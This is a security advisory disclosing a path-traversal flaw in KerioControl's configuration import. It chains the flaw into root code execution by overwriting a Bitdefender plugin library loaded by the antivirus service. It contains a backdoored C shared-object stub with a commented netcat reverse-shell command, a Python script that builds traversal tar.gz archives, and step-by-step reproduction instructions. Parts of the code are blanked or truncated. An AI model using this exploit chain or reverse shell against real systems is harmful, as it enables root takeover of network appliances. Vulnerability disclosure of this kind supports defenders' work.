SSD Advisory –  KerioControl Remote Code Execution


KerioControl suffers from a tar.gz path traversal within the import configuration functionality inside the admin panel which leads to Remote Code Execution.


Simon Janz

Affected Devices

KerioControl version 9.4.2 patch 1 build7290

Vendor Response

The vendor has been notified on February 14, 2023, but has provided no indication whether or not it is getting fixed or addressed.

Technical Analysis

A vulnerability in the way KerioControl processes updates to its Antivirus engine allows an attacker that has access to the (admin) web interface of the product to gain full root privileges on the underlying operating system.

This is due to the fact that the import functionality of the configuration inside the admin panel suffered from a path traversal vulnerability.

While at first glass it might seem that it’s only possible to write to /tmp/ and its sub-directories, later on it was identified that it was also possible to write to /var/ and its sub-directories.

Subsequent searches for interesting files to create/overwrite brought up the following:


   346983      0 lrwxrwxrwx   1 root     root           58 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/ -> /var/winroute/bitdefender/Plugins/1/
   347975     40 -rw-------   1 root     root        39456 Feb  2 22:39 /var/winroute/bitdefender/Plugins/2/
   347927     40 -rw-------   1 root     root        39456 Feb  2 14:39 /var/winroute/bitdefender/Plugins/1/

This seemed promising, as it was a shared object which might be overwritable and then loaded again for RCE. It was looked for the respective process which did include the file:

> for pid in `ls /proc/`; do grep '' /proc/$pid/maps && echo $pid ; done
7f4349c92000-7f4349c9a000 r-xp 00000000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/
7f4349c9a000-7f4349d99000 ---p 00008000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/
7f4349d99000-7f4349d9b000 rw-p 00007000 08:04 347975                     /var/winroute/bitdefender/Plugins/2/

Ok, this looks promising, we have an actual process which does load the shared object. Which process and which privileges does it run as?

> ps aux |grep 14787
root     14787  1.0  8.7 949276 354896 ?       Sl   22:39   0:28 ./avserver 134 137

This is perfect, it seems to be the AV service and it runs as root. After some time looking into the web interface the respective service was identified and as it turns out, the admin user is able to disable (kill) the service through the WebUI and also re-enable it. Leading to a stop and start of the service.

Then the shared object binary was downloaded from the system, thrown into Ghidra and the exported functions and their respective parameters were copied into a new C source file which should later be compiled to our backdoored binary.

The following C code was used to create a backdoored version of the actual shared object:

 * How to compile:
 * ----
 * gcc -c -Wall -Werror -fpic 
 * gcc -shared -o


void evil(){
	// Change this to your needs
	// for  reverse shell the following might be used:
	// "/usr/bin/nc  1235 -e /bin/sh &"  (without quotes of course)
	system("/bin/touch /tmp/oh0la");

void CoreDeleteInstance(void){ evil(); }
void CoreGet(void){ evil(); }
long CoreGetBuildNumber(void){ evil(); return 0; }
long* CoreGetLastOpenError(void){ evil();  return 0;}
int CoreInit(void){ evil(); return 0;}
int CoreInit2(void *param){ evil(); return 0;}
int CoreInit3(long param){ evil(); return 0;}
int CoreInit4(void *param1, long param2){ evil(); return 0; }
int CoreInit5(int param1, long param2, long param3, long param4){ evil(); return 0; }
long CoreInitEx(long param1){ evil(); return 0;}
void CoreNewInstance(void){ evil(); }
long CoreSet(long param1, unsigned int param2, long param3, long param4, long param5, long param6){ evil(); return 0; }
int CoreUninit(void){ evil(); return 0; }

This can then be compiled and

> gcc -c -Wall -Werror -fpic
> gcc -shared -o

Up until now no time was spend on showing PoC code for the actual vulnerability – the path traversal. Let’s discuss a problem we are facing with the loading of our backdoored so.

The shared object is a AV signature helper as it seems. During tests it was observed that for each signatuere update the path changed – not much but here is an example:

Before the signature update:


After the signature update:


So the last subfolder is an integer value ranging from 1-X and the last one is chosen. During tests it was often observed that if the value does not seem to be correct (e.g. 50 instead of 1) a new update is trigered, again increasing the value and downloading a new signature (.so file) and hence ignoring our evil one.

After some testing this was however was solvable. When this integer hit 99 it started again at 1. This leaves us with the following scenario from a high-level view:

1. Disable AV

2. Create file /var/winroute/bitdefender/Plugins/99/ using the vulnerability

3. Enable AV which creates /var/winroute/bitdefender/Plugins/1/

4. Disable AV

5. Create file /var/winroute/bitdefender/Plugins/1/ using the vulnerability

6. Enable AV again – this time loading our .so

The script to create the two files is shown below



Flow of attack

> python3

Creating evil_backup_write_1.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/1/

Creating evil_backup_write_99.tar.gz containing ../../../../../../../../var/winroute/bitdefender/Plugins/99/

These two files are then uploaded. As discussed first the `evil_backup_write_99.tar.gz` and then the `evil_backup_write_1.tar.gz` one.

The following lists the steps in more detail for easily reproducing the issue and gaining Remote Code Execution:

1. Disable AV

– Goto Antivirus

– Untick `Use Kerio Antivirus` and click apply in the lower right

2. Trigger Vulnerability to create the file /var/winroute/bitdefender/Plugins/99/ (this will trigger the update me

– Dashboard-> Click “Configuration Assistant” in the lower left

– `Import Configuration` and select the backdoored created .tar.gz

3. Enable AV – This will trigger an update and roll back to 1 hence create the legit file /var/winroute/bitdefender/Plugins/1/

– Goto Antivirus

– Disable/Uncheck “Check for update every…”

– Enable/Tick “Use Kerio Antivirus” and again click apply in the lower right

4. Disable AV Again

– Repeat Step 1

5. Trigger Vulnerability again to now overwrite the file /var/winroute/bitdefender/Plugins/1/

– Repeat step 1 with the evil backup file

6. Enable AV – This will finally load our evil backdoor

– Repeat step 3


#!/usr/bin/env python

import sys, zipfile, tarfile, os, optparse

def create_file(n):
    # Fake file, only the name is interesting as it is used for the traversal
    fname = ""
    evil_backup_name = f"evil_backup_write_{n}.tar.gz"
    tf =, "w:gz")
    SO_FOLDER_PATH = f"var/winroute/bitdefender/Plugins/{n}/"
    zpath = "../"*8+SO_FOLDER_PATH + os.path.basename(fname)
    print (f"Creating {evil_backup_name} containing {zpath}")
    tf.add(fname, zpath)
    for f in CONFIG_FILES:
        tf.add(f, zpath)

def main(argv=sys.argv):

if __name__ == '__main__':


Get in touch